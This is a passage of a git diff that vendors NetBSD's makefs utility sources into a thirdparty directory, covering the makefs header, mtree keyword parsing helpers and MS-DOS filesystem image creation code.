fstype->type); + for (i = 0; o[i].name != NULL; i++) + fprintf(stderr, "\t%c%c%20.20s\t%s\n", + o[i].letter ? o[i].letter : ' ', + o[i].letter ? ',' : ' ', + o[i].name, o[i].desc); + } + exit(1); +} diff --git a/thirdparty/makefs/makefs.h b/thirdparty/makefs/makefs.h new file mode 100644 index 0000000..efc1fe5 --- /dev/null +++ b/thirdparty/makefs/makefs.h @@ -0,0 +1,267 @@ +/* $NetBSD: makefs.h,v 1.35 2013/08/05 14:41:57 reinoud Exp $ */ + +/* + * Copyright (c) 2001 Wasabi Systems, Inc. + * All rights reserved. + * + * Written by Luke Mewburn for Wasabi Systems, Inc. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed for the NetBSD Project by + * Wasabi Systems, Inc. + * 4. The name of Wasabi Systems, Inc. may not be used to endorse + * or promote products derived from this software without specific prior + * written permission. + * + * THIS SOFTWARE IS PROVIDED BY WASABI SYSTEMS, INC. ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL WASABI SYSTEMS, INC + * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +#ifndef _MAKEFS_H +#define _MAKEFS_H + +#if HAVE_NBTOOL_CONFIG_H +#include "nbtool_config.h" +#else +#define HAVE_STRUCT_STAT_ST_FLAGS 1 +#define HAVE_STRUCT_STAT_ST_GEN 1 +#define HAVE_STRUCT_STAT_ST_MTIMENSEC 1 +#define HAVE_STRUCT_STATVFS_F_IOSIZE 1 +#define HAVE_STRUCT_STAT_BIRTHTIME 1 +#define HAVE_FSTATVFS 1 +#endif + +#include +#include + +/* + * fsnode - + * a component of the tree; contains a filename, a pointer to + * fsinode, optional symlink name, and tree pointers + * + * fsinode - + * equivalent to an inode, containing target file system inode number, + * refcount (nlink), and stat buffer + * + * A tree of fsnodes looks like this: + * + * name "." "bin" "netbsd" + * type S_IFDIR S_IFDIR S_IFREG + * next > > NULL + * parent NULL NULL NULL + * child NULL v + * + * name "." "ls" + * type S_IFDIR S_IFREG + * next > NULL + * parent ^ ^ (to "bin") + * child NULL NULL + * + * Notes: + * - first always points to first entry, at current level, which + * must be "." when the tree has been built; during build it may + * not be if "." hasn't yet been found by readdir(2). + */ + +enum fi_flags { + FI_SIZED = 1<<0, /* inode sized */ + FI_ALLOCATED = 1<<1, /* fsinode->ino allocated */ + FI_WRITTEN = 1<<2, /* inode written */ +}; + +typedef struct { + uint32_t ino; /* inode number used on target fs */ + uint32_t nlink; /* number of links to this entry */ + enum fi_flags flags; /* flags used by fs specific code */ + struct stat st; /* stat entry */ + void *fsuse; /* for storing FS dependent info */ +} fsinode; + +typedef struct _fsnode { + struct _fsnode *parent; /* parent (NULL if root) */ + struct _fsnode *child; /* child (if type == S_IFDIR) */ + struct _fsnode *next; /* next */ + struct _fsnode *first; /* first node of current level (".") */ + uint32_t type; /* type of entry */ + fsinode *inode; /* actual inode data */ + char *symlink; /* symlink target */ + const char *root; /* root path */ + char *path; /* directory name */ + char *name; /* file name */ + int flags; /* misc flags */ +} fsnode; + +#define FSNODE_F_HASSPEC 0x01 /* fsnode has a spec entry */ + +/* + * option_t - contains option name, description, pointer to location to store + * result, and range checks for the result. Used to simplify fs specific + * option setting + */ +typedef enum { + OPT_STRARRAY, + OPT_STRPTR, + OPT_STRBUF, + OPT_BOOL, + OPT_INT8, + OPT_INT16, + OPT_INT32, + OPT_INT64 +} opttype_t; + +typedef struct { + char letter; /* option letter NUL for none */ + const char *name; /* option name */ + void *value; /* where to stuff the value */ + opttype_t type; /* type of entry */ + long long minimum; /* minimum for value */ + long long maximum; /* maximum for value */ + const char *desc; /* option description */ +} option_t; + +/* + * fsinfo_t - contains various settings and parameters pertaining to + * the image, including current settings, global options, and fs + * specific options + */ +typedef struct makefs_fsinfo { + /* current settings */ + off_t size; /* total size */ + off_t inodes; /* number of inodes */ + uint32_t curinode; /* current inode */ + + /* image settings */ + int fd; /* file descriptor of image */ + void *superblock; /* superblock */ + int onlyspec; /* only add entries in specfile */ + + + /* global options */ + off_t minsize; /* minimum size image should be */ + off_t maxsize; /* maximum size image can be */ + off_t freefiles; /* free file entries to leave */ + off_t freeblocks; /* free blocks to leave */ + off_t offset; /* offset from start of file */ + int freefilepc; /* free file % */ + int freeblockpc; /* free block % */ + int needswap; /* non-zero if byte swapping needed */ + int sectorsize; /* sector size */ + int sparse; /* sparse image, don't fill it with zeros */ + int replace; /* replace files when merging */ + + void *fs_specific; /* File system specific additions. */ + option_t *fs_options; /* File system specific options */ +} fsinfo_t; + + + + +void apply_specfile(const char *, const char *, fsnode *, int); +void dump_fsnodes(fsnode *); +const char * inode_type(mode_t); +int set_option(const option_t *, const char *, char *, size_t); +int set_option_var(const option_t *, const char *, const char *, + char *, size_t); +fsnode * walk_dir(const char *, const char *, fsnode *, fsnode *, int); +void free_fsnodes(fsnode *); +option_t * copy_opts(const option_t *); + +#define DECLARE_FUN(fs) \ +void fs ## _prep_opts(fsinfo_t *); \ +int fs ## _parse_opts(const char *, fsinfo_t *); \ +void fs ## _cleanup_opts(fsinfo_t *); \ +void fs ## _makefs(const char *, const char *, fsnode *, fsinfo_t *) + +DECLARE_FUN(ffs); +DECLARE_FUN(cd9660); +DECLARE_FUN(chfs); +DECLARE_FUN(v7fs); +DECLARE_FUN(msdos); +DECLARE_FUN(udf); + +extern u_int debug; +extern struct timespec start_time; + +/* + * If -x is specified, we want to exclude nodes which do not appear + * in the spec file. + */ +#define FSNODE_EXCLUDE_P(opts, fsnode) \ + ((opts)->onlyspec != 0 && ((fsnode)->flags & FSNODE_F_HASSPEC) == 0) + +#define DEBUG_TIME 0x00000001 + /* debug bits 1..3 unused at this time */ +#define DEBUG_WALK_DIR 0x00000010 +#define DEBUG_WALK_DIR_NODE 0x00000020 +#define DEBUG_WALK_DIR_LINKCHECK 0x00000040 +#define DEBUG_DUMP_FSNODES 0x00000080 +#define DEBUG_DUMP_FSNODES_VERBOSE 0x00000100 +#define DEBUG_FS_PARSE_OPTS 0x00000200 +#define DEBUG_FS_MAKEFS 0x00000400 +#define DEBUG_FS_VALIDATE 0x00000800 +#define DEBUG_FS_CREATE_IMAGE 0x00001000 +#define DEBUG_FS_SIZE_DIR 0x00002000 +#define DEBUG_FS_SIZE_DIR_NODE 0x00004000 +#define DEBUG_FS_SIZE_DIR_ADD_DIRENT 0x00008000 +#define DEBUG_FS_POPULATE 0x00010000 +#define DEBUG_FS_POPULATE_DIRBUF 0x00020000 +#define DEBUG_FS_POPULATE_NODE 0x00040000 +#define DEBUG_FS_WRITE_FILE 0x00080000 +#define DEBUG_FS_WRITE_FILE_BLOCK 0x00100000 +#define DEBUG_FS_MAKE_DIRBUF 0x00200000 +#define DEBUG_FS_WRITE_INODE 0x00400000 +#define DEBUG_BUF_BREAD 0x00800000 +#define DEBUG_BUF_BWRITE 0x01000000 +#define DEBUG_BUF_GETBLK 0x02000000 +#define DEBUG_APPLY_SPECFILE 0x04000000 +#define DEBUG_APPLY_SPECENTRY 0x08000000 +#define DEBUG_APPLY_SPECONLY 0x10000000 + + +#define TIMER_START(x) \ + if (debug & DEBUG_TIME) \ + gettimeofday(&(x), NULL) + +#define TIMER_RESULTS(x,d) \ + if (debug & DEBUG_TIME) { \ + struct timeval end, td; \ + gettimeofday(&end, NULL); \ + timersub(&end, &(x), &td); \ + printf("%s took %lld.%06ld seconds\n", \ + (d), (long long)td.tv_sec, \ + (long)td.tv_usec); \ + } + + +#ifndef DEFAULT_FSTYPE +#define DEFAULT_FSTYPE "udf" +#endif + + +/* + * ffs specific settings + * --------------------- + */ + +#define FFS_EI /* for opposite endian support in ffs headers */ + + +#endif /* _MAKEFS_H */ diff --git a/thirdparty/makefs/misc.c b/thirdparty/makefs/misc.c new file mode 100644 index 0000000..25e6eab --- /dev/null +++ b/thirdparty/makefs/misc.c @@ -0,0 +1,326 @@ +/* $NetBSD: misc.c,v 1.3 2008/11/06 02:14:52 jschauma Exp $ */ + +/*- + * Copyright (c) 1991, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * @(#)misc.c 8.1 (Berkeley) 6/6/93 + */ + +#if HAVE_CONFIG_H +#include "config.h" +#endif +#if HAVE_NBTOOL_CONFIG_H +#include "nbtool_config.h" +#endif + +// #include +#if HAVE_SYS_CDEFS_H +#include +#endif +#if defined(__RCSID) && !defined(lint) +__RCSID("$NetBSD: misc.c,v 1.3 2008/11/06 02:14:52 jschauma Exp $"); +#endif /* not lint */ + +#if HAVE_SYS_TYPES_H +#include +#endif +#if HAVE_SYS_STAT_H +#include +#endif + +#if HAVE_STDARG_H +#include +#endif +#if HAVE_STDIO_H +#include +#endif +#if HAVE_STDLIB_H +#include +#endif +#if HAVE_STRING_H +#include +#endif + +#include "extern.h" + +typedef struct _key { + const char *name; /* key name */ + u_int val; /* value */ + +#define NEEDVALUE 0x01 + u_int flags; +} KEY; +#if 1 +/* NB: the following tables must be sorted lexically. */ +static KEY keylist[] = { + {"cksum", F_CKSUM, NEEDVALUE}, + {"device", F_DEV, NEEDVALUE}, + {"flags", F_FLAGS, NEEDVALUE}, + {"gid", F_GID, NEEDVALUE}, + {"gname", F_GNAME, NEEDVALUE}, + {"ignore", F_IGN, 0}, + {"link", F_SLINK, NEEDVALUE}, + {"md5", F_MD5, NEEDVALUE}, + {"md5digest", F_MD5, NEEDVALUE}, + {"mode", F_MODE, NEEDVALUE}, + {"nlink", F_NLINK, NEEDVALUE}, + {"optional", F_OPT, 0}, + {"rmd160", F_RMD160, NEEDVALUE}, + {"rmd160digest",F_RMD160, NEEDVALUE}, + {"sha1", F_SHA1, NEEDVALUE}, + {"sha1digest", F_SHA1, NEEDVALUE}, + {"sha256", F_SHA256, NEEDVALUE}, + {"sha256digest",F_SHA256, NEEDVALUE}, + {"sha384", F_SHA384, NEEDVALUE}, + {"sha384digest",F_SHA384, NEEDVALUE}, + {"sha512", F_SHA512, NEEDVALUE}, + {"sha512digest",F_SHA512, NEEDVALUE}, + {"size", F_SIZE, NEEDVALUE}, + {"tags", F_TAGS, NEEDVALUE}, + {"time", F_TIME, NEEDVALUE}, + {"type", F_TYPE, NEEDVALUE}, + {"uid", F_UID, NEEDVALUE}, + {"uname", F_UNAME, NEEDVALUE} +}; +#endif +static KEY typelist[] = { + {"block", F_BLOCK, 0}, + {"char", F_CHAR, 0}, + {"dir", F_DIR, 0}, +#ifdef S_IFDOOR + {"door", F_DOOR, 0}, +#endif + {"fifo", F_FIFO, 0}, + {"file", F_FILE, 0}, + {"link", F_LINK, 0}, + {"socket", F_SOCK, 0}, +}; + +slist_t excludetags, includetags; +int keys = KEYDEFAULT; + + +int keycompare(const void *, const void *); + +u_int +parsekey(const char *name, int *needvaluep) +{ + static int allbits; + KEY *k, tmp; + + if (allbits == 0) { + int i; + + for (i = 0; i < sizeof(keylist) / sizeof(KEY); i++) + allbits |= keylist[i].val; + } + tmp.name = name; + if (strcmp(name, "all") == 0) + return (allbits); + k = (KEY *)bsearch(&tmp, keylist, sizeof(keylist) / sizeof(KEY), + sizeof(KEY), keycompare); + if (k == NULL) + mtree_err("unknown keyword `%s'", name); + + if (needvaluep) + *needvaluep = k->flags & NEEDVALUE ? 1 : 0; + + return (k->val); +} + +u_int +parsetype(const char *name) +{ + KEY *k, tmp; + + tmp.name = name; + k = (KEY *)bsearch(&tmp, typelist, sizeof(typelist) / sizeof(KEY), + sizeof(KEY), keycompare); + if (k == NULL) + mtree_err("unknown file type `%s'", name); + + return (k->val); +} + +int +keycompare(const void *a, const void *b) +{ + + return (strcmp(((const KEY *)a)->name, ((const KEY *)b)->name)); +} + +void +mtree_err(const char *fmt, ...) +{ + va_list ap; + + va_start(ap, fmt); + vwarnx(fmt, ap); + va_end(ap); + if (mtree_lineno) + warnx("failed at line %lu of the specification", + (u_long) mtree_lineno); + exit(1); + /* NOTREACHED */ +} + +void +addtag(slist_t *list, char *elem) +{ + +#define TAG_CHUNK 20 + + if ((list->count % TAG_CHUNK) == 0) { + char **new; + + new = (char **)realloc(list->list, (list->count + TAG_CHUNK) + * sizeof(char *)); + if (new == NULL) + mtree_err("memory allocation error"); + list->list = new; + } + list->list[list->count] = elem; + list->count++; +} + +void +parsetags(slist_t *list, char *args) +{ + char *p, *e; + int len; + + if (args == NULL) { + addtag(list, NULL); + return; + } + while ((p = strsep(&args, ",")) != NULL) { + if (*p == '\0') + continue; + len = strlen(p) + 3; /* "," + p + ",\0" */ + if ((e = malloc(len)) == NULL) + mtree_err("memory allocation error"); + snprintf(e, len, ",%s,", p); + addtag(list, e); + } +} + +/* + * matchtags + * returns 0 if there's a match from the exclude list in the node's tags, + * or there's an include list and no match. + * return 1 otherwise. + */ +int +matchtags(NODE *node) +{ + int i; + + if (node->tags) { + for (i = 0; i < excludetags.count; i++) + if (strstr(node->tags, excludetags.list[i])) + break; + if (i < excludetags.count) + return (0); + + for (i = 0; i < includetags.count; i++) + if (strstr(node->tags, includetags.list[i])) + break; + if (i > 0 && i == includetags.count) + return (0); + } else if (includetags.count > 0) { + return (0); + } + return (1); +} + +u_int +nodetoino(u_int type) +{ + + switch (type) { + case F_BLOCK: + return S_IFBLK; + case F_CHAR: + return S_IFCHR; + case F_DIR: + return S_IFDIR; + case F_FIFO: + return S_IFIFO; + case F_FILE: + return S_IFREG; + case F_LINK: + return S_IFLNK; +#ifdef S_IFSOCK + case F_SOCK: + return S_IFSOCK; +#endif + default: + printf("unknown type %d", type); + abort(); + } + /* NOTREACHED */ +} + +const char * +nodetype(u_int type) +{ + + return (inotype(nodetoino(type))); +} + + +const char * +inotype(u_int type) +{ + + switch (type & S_IFMT) { + case S_IFBLK: + return ("block"); + case S_IFCHR: + return ("char"); + case S_IFDIR: + return ("dir"); + case S_IFIFO: + return ("fifo"); + case S_IFREG: + return ("file"); + case S_IFLNK: + return ("link"); +#ifdef S_IFSOCK + case S_IFSOCK: + return ("socket"); +#endif +#ifdef S_IFDOOR + case S_IFDOOR: + return ("door"); +#endif + default: + return ("unknown"); + } + /* NOTREACHED */ +} diff --git a/thirdparty/makefs/msdos.c b/thirdparty/makefs/msdos.c new file mode 100644 index 0000000..a445f43 --- /dev/null +++ b/thirdparty/makefs/msdos.c @@ -0,0 +1,254 @@ +/* $NetBSD: msdos.c,v 1.15 2015/10/16 16:40:02 christos Exp $ */ + +/*- + * Copyright (c) 2013 The NetBSD Foundation, Inc. + * All rights reserved. + * + * This code is derived from software contributed to The NetBSD Foundation + * by Christos Zoulas. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS + * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS + * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ +#if HAVE_NBTOOL_CONFIG_H +#include "nbtool_config.h" +#endif + +#include +#if defined(__RCSID) && !defined(__lint) +__RCSID("$NetBSD: msdos.c,v 1.15 2015/10/16 16:40:02 christos Exp $"); +#endif /* !__lint */ + +#include + +#if !HAVE_NBTOOL_CONFIG_H +#include +#endif + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include "makefs.h" +#include "msdos.h" +#include "mkfs_msdos.h" + +static int msdos_populate_dir(const char *, struct denode *, fsnode *, + fsnode *, fsinfo_t *); + +void +msdos_prep_opts(fsinfo_t *fsopts) +{ + struct msdos_options *msdos_opt = ecalloc(1, sizeof(*msdos_opt)); + const option_t msdos_options[] = { +#define AOPT(_opt, _type, _name, _min, _desc) { \ + .letter = _opt, \ + .name = # _name, \ + .type = _min == -1 ? OPT_STRPTR : \ + (_min == -2 ? OPT_BOOL : \ + (sizeof(_type) == 1 ? OPT_INT8 : \ + (sizeof(_type) == 2 ? OPT_INT16 : \ + (sizeof(_type) == 4 ? OPT_INT32 : OPT_INT64)))), \ + .value = &msdos_opt->_name, \ + .minimum = _min, \ + .maximum = sizeof(_type) == 1 ? 0xff : \ + (sizeof(_type) == 2 ? 0xffff : \ + (sizeof(_type) == 4 ? 0xffffffff : 0xffffffffffffffffLL)), \ + .desc = _desc, \ +}, +ALLOPTS +#undef AOPT + { .name = NULL } + }; + + fsopts->fs_specific = msdos_opt; + fsopts->fs_options = copy_opts(msdos_options); +} + +void +msdos_cleanup_opts(fsinfo_t *fsopts) +{ + free(fsopts->fs_specific); + free(fsopts->fs_options); +} + +int +msdos_parse_opts(const char *option, fsinfo_t *fsopts) +{ + struct msdos_options *msdos_opt = fsopts->fs_specific; + option_t *msdos_options = fsopts->fs_options; + + int rv; + + assert(option != NULL); + assert(fsopts != NULL); + assert(msdos_opt != NULL); + + if (debug & DEBUG_FS_PARSE_OPTS) + printf("msdos_parse_opts: got `%s'\n", option); + + rv = set_option(msdos_options, option, NULL, 0); + if (rv == -1) + return rv; + + if (strcmp(msdos_options[rv].name, "volume_id") == 0) + msdos_opt->volume_id_set = 1; + else if (strcmp(msdos_options[rv].name, "media_descriptor") == 0) + msdos_opt->media_descriptor_set = 1; + else if (strcmp(msdos_options[rv].name, "hidden_sectors") == 0) + msdos_opt->hidden_sectors_set = 1; + return 1; +} + + +void +msdos_makefs(const char *image, const char *dir, fsnode *root, fsinfo_t *fsopts) +{ + struct msdos_options *msdos_opt = fsopts->fs_specific; + struct vnode vp, rootvp; + struct timeval start; + struct msdosfsmount *pmp; + + assert(image != NULL); + assert(dir != NULL); + assert(root != NULL); + assert(fsopts != NULL); + + /* + * XXX: pick up other options from the msdos specific ones? + * Is minsize right here? + */ + msdos_opt->create_size = MAX(msdos_opt->create_size, fsopts->minsize); + msdos_opt->offset = fsopts->offset; + if (msdos_opt->bytes_per_sector == 0) { + if (fsopts->sectorsize == -1) + fsopts->sectorsize = 512; + msdos_opt->bytes_per_sector = fsopts->sectorsize; + } else if (fsopts->sectorsize == -1) { + fsopts->sectorsize = msdos_opt->bytes_per_sector; + } else if (fsopts->sectorsize != msdos_opt->bytes_per_sector) { + err(1, "inconsistent sectorsize -S %u" + "!= -o bytes_per_sector %u", + fsopts->sectorsize, msdos_opt->bytes_per_sector); + } + + /* create image */ + printf("Creating `%s'\n", image); + TIMER_START(start); + if (mkfs_msdos(image, NULL, msdos_opt) == -1) + return; + TIMER_RESULTS(start, "mkfs_msdos"); + + fsopts->fd = open(image, O_RDWR); + vp.fs = fsopts; + + if ((pmp = msdosfs_mount(&vp, 0)) == NULL) + err(1, "msdosfs_mount"); + + if (msdosfs_root(pmp, &rootvp) != 0) + err(1, "msdosfs_root"); + + if (debug & DEBUG_FS_MAKEFS) + printf("msdos_makefs: image %s directory %s root %p\n", + image, dir, root); + + /* populate image */ + printf("Populating `%s'\n", image); + TIMER_START(start); + if (msdos_populate_dir(dir, VTODE(&rootvp), root, root, fsopts) == -1) + errx(1, "Image file `%s' not created.", image); + TIMER_RESULTS(start, "msdos_populate_dir"); + + if (debug & DEBUG_FS_MAKEFS) + putchar('\n'); + + /* ensure no outstanding buffers remain */ + if (debug & DEBUG_FS_MAKEFS) + bcleanup(); + + printf("Image `%s' complete\n", image); +} + +static int +msdos_populate_dir(const char *path, struct denode *dir, fsnode *root, + fsnode *parent, fsinfo_t *fsopts) +{ + fsnode *cur; + char pbuf[MAXPATHLEN]; + + assert(dir != NULL); + assert(root != NULL); + assert(fsopts != NULL); + + for (cur = root->next; cur != NULL; cur = cur->next) { + if ((size_t)snprintf(pbuf, sizeof(pbuf), "%s/%s", path, + cur->name) >= sizeof(pbuf)) { + warnx("path %s too long", pbuf); + return -1; + } + + if ((cur->inode->flags & FI_ALLOCATED) == 0) { + cur->inode->flags |= FI_ALLOCATED; + if (cur != root) { + fsopts->curinode++; + cur->inode->ino = fsopts->curinode; + cur->parent = parent; + } + } + + if (cur->inode->flags & FI_WRITTEN) { + continue; // hard link + } + cur->inode->flags |= FI_WRITTEN; + + if (cur->child) { + struct denode *de; + if ((de = msdosfs_mkdire(pbuf, dir, cur)) == NULL) { + warn("msdosfs_mkdire %s", pbuf); + return -1; + } + if (msdos_populate_dir(pbuf, de, cur->child, cur, + fsopts) == -1) { + warn("msdos_populate_dir %s", pbuf); + return -1; + } + continue; + } else if (!S_ISREG(cur->type)) { + warnx("skipping non-regular file %s/%s", cur->path, + cur->name); + continue; + } + if (msdosfs_mkfile(pbuf, dir, cur) == NULL) { + warn("msdosfs_mkfile %s", pbuf); + return -1; + } + } + return 0; +} diff --git a/thirdparty/makefs/msdos.h b/thirdparty/makefs/msdos.h new file mode 100644 index 0000000..0357f6d --- /dev/null +++ b/thirdparty/makefs/msdos.h @@ -0,0 +1,39 @@ +/* $NetBSD: msdos.h,v 1.3 2015/10/16 16:40:02 christos Exp $ */ + +/*- + * Copyright (c) 2013 The NetBSD Foundation, Inc. + * All rights reserved. + * + * This code is derived from software contributed to The NetBSD Foundation + * by Christos Zoulas. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS + * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED + * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS + * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + * POSSIBILITY OF SUCH DAMAGE. + */ + +struct vnode; +struct denode; + +struct msdosfsmount *msdosfs_mount(struct vnode *, int); +int msdosfs_root(struct msdosfsmount *, struct vnode *); + +struct denode *msdosfs_mkfile(const char *, struct denode *, fsnode *); +struct denode *msdosfs_mkdire(const char *, struct denode *, fsnode *); diff --git a/thirdparty/makefs/mtree.h b/thirdparty/makefs/mtree.h new file mode 100644 index 0000000..4675a87 --- /dev/null +++ b/thirdparty/makefs/mtree.h @@ -0,0 +1,140 @@ +/* $NetBSD: mtree.h,v 1.3 2008/11/06 02:14:52 jschauma Exp $ */ + +/*- + * Copyright (c) 1990, 1993 + * The Regents of the University of California. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * @(#)mtree.h 8.1 (Berkeley) 6/6/93 + */ + +#ifndef _MTREE_H_ +#define _MTREE_H_ + +#define KEYDEFAULT (F_GID | F_MODE | F_NLINK | F_SIZE | F_SLINK | \ + F_TIME | F_TYPE | F_UID | F_FLAGS) + +#define MISMATCHEXIT 2 + +/* Max. length of hash -- update this if needed when adding a new algorithm. */ +#define MAXHASHLEN 128 /* SHA512 */ + +typedef struct _node { + struct _node *parent, *child; /* up, down */ + struct _node *prev, *next; /* left, right */ + off_t st_size; /* size */ + struct timespec st_mtimespec; /* last modification time */ + char *slink; /* symbolic link reference */ + uid_t st_uid; /* uid */ + gid_t st_gid; /* gid */ +#define MBITS (S_ISUID|S_ISGID|S_ISTXT|S_IRWXU|S_IRWXG|S_IRWXO) + mode_t st_mode; /* mode */ + dev_t st_rdev; /* device type */ + u_long st_flags; /* flags */ + nlink_t st_nlink; /* link count */ + u_long cksum; /* check sum */ + char *md5digest; /* MD5 digest */ + char *rmd160digest; /* RMD-160 digest */ + char *sha1digest; /* SHA1 digest */ + char *sha256digest; /* SHA256 digest */ + char *sha384digest; /* SHA384 digest */ + char *sha512digest; /* SHA512 digest */ + char *tags; /* tags, comma delimited */ + size_t lineno; /* line # entry came from */ + +#define F_CKSUM 0x00000001 /* cksum(1) check sum */ +#define F_DEV 0x00000002 /* device type */ +#define F_DONE 0x00000004 /* directory done */ +#define F_FLAGS 0x00000008 /* file flags */ +#define F_GID 0x00000010 /* gid */ +#define F_GNAME 0x00000020 /* group name */ +#define F_IGN 0x00000040 /* ignore */ +#define F_MAGIC 0x00000080 /* name has magic chars */ +#define F_MD5 0x00000100 /* MD5 digest */ +#define F_MODE 0x00000200 /* mode */ +#define F_NLINK 0x00000400 /* number of links */ +#define F_OPT 0x00000800 /* existence optional */ +#define 